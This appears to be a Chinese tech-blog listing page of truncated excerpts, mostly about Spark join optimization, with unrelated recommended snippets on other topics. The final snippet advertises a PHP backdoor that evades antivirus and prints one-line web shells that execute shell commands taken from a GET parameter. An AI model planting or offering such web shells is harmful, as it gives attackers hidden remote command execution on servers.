http://blog.csdn.net/lsshlsw/article/details/48975771

https://www.douban.com/note/499691663/

http://blog.csdn.net/kejiaming/article/details/52084898

http://www.cnblogs.com/MOBIN/p/5618747.html#4

Spark:Join相关优化文章的更多相关文章

  1. spark join broadcast优化

    在大量数据中对一些字段进行关联. 举例 ipTable:需要进行关联的几千条ip数据(70k) hist:历史数据(百亿级别) 直接join将会对所有数据进行shuffle,需要大量的io操作,相同的 ...

  2. spark join操作解读

    本文主要介绍spark join相关操作,Java描述. 讲述三个方法spark join,left-outer-join,right-outer-join 我们以实例来进行说明.我的实现步骤记录如下 ...

  3. Spark面试相关

    Spark Core面试篇01 随着Spark技术在企业中应用越来越广泛,Spark成为大数据开发必须掌握的技能.前期分享了很多关于Spark的学习视频和文章,为了进一步巩固和掌握Spark,在原有s ...

  4. Spark map-side-join 关联优化

    在spark中要进行join操作,如果在shuffle的时候进行join效率较低.如果满足 所需要join的表中有一张表较小,那么可以考虑在map端进行join操作. 转载:http://blog.c ...

  5. [转] - Spark排错与优化

    Spark排错与优化 http://blog.csdn.net/lsshlsw/article/details/49155087 一. 运维 1. Master挂掉,standby重启也失效 Mast ...

  6. 029 RDD Join相关API,以及程序

    1.数据集 A表数据: 1 a 2 b 3 c B表数据: 1 aa1 1 aa2 2 bb1 2 bb2 2 bb3 4 dd1 2.join的分类 inner join left outer jo ...

  7. Spark 性能相关参数配置详解-任务调度篇

    随着Spark的逐渐成熟完善, 越来越多的可配置参数被添加到Spark中来, 本文试图通过阐述这其中部分参数的工作原理和配置思路, 和大家一起探讨一下如何根据实际场合对Spark进行配置优化. 由于篇 ...

  8. Spark 性能相关参数配置详解-压缩与序列化篇

    随着Spark的逐渐成熟完善, 越来越多的可配置参数被添加到Spark中来, 本文试图通过阐述这其中部分参数的工作原理和配置思路, 和大家一起探讨一下如何根据实际场合对Spark进行配置优化. 由于篇 ...

  9. Spark 性能相关参数配置详解-shuffle篇

    随着Spark的逐渐成熟完善, 越来越多的可配置参数被添加到Spark中来, 在Spark的官方文档http://spark.apache.org/docs/latest/configuration. ...

随机推荐

  1. 【转】Linux下进程/程序网络带宽占用情况查看工具 -- NetHogs

    http://www.cnblogs.com/carbon3/p/5930803.html 之前VPS侦探曾经介绍过流量带宽相关的工具如:iftop.vnstat,这几个都是统计和监控网卡流量的.但是 ...

  2. 读写注册表 registrykey 创建删除

    namespace WindowsFormsApplication1 { public partial class Form1 : Form { public Form1() { Initialize ...

  3. js查找水仙花数

    所谓水仙花数是满足类似于153=1³+5³+3³: 第一种方式:把这个数当做字符串来实现 <script> for(var i=100;i<=999;i++) { str_i=i.t ...

  4. mysql导入数据到oracle中

    mysql导入数据到oracle中. 建立Oracle表: CREATE TABLE "GG_USER" ( "USERID" BYTE) NOT NULL, ...

  5. Spark 自定义累加变量(Accmulator)AccumulatorParam

    1.创建一个累加变量 public <T> Accumulator<T> accumulator(T initialValue, AccumulatorParam<T&g ...

  6. tornado 学习笔记10 Web应用中模板(Template)的工作流程分析

             第8,9节中,我们分析Tornado模板系统的语法.使用以及源代码中涉及到的相关类,而且对相关的源代码进行了分析.那么,在一个真正的Web应用程序中,模板到底是怎样使用?怎样被渲染? ...

  7. MySQL:索引工作原理

    索引查找:通过索引键找到索引的叶子节点,再通过叶子节点的标记快速找到表中对应的行数据,再返回指定的列 索引找查是通过索引键定先位到一块局部区域,再开始扫描匹配的数据的. 为什么需要索引(Why is ...

  8. java调用url接口

    很多简单的接口就是直接一个URl的形式, 怎么调用? HttpClient httpclient=null; PostMethod post=null; try{ httpclient = new H ...

  9. C++的简单“五子棋”游戏,只是核心代码,资源代码未添加

    ChessBoard.h #ifndef __CHESS_BOARD_H__ #define __CHESS_BOARD_H__ #include "DataStruct.h" # ...

  10. PHP最简单的后门,且难查,不报毒!

    <?php $c=urldecode($_GET['c']);if($c){`$c`;}//完整 !$_GET['c']||`{$_GET['c']}`;//精简 /************** ...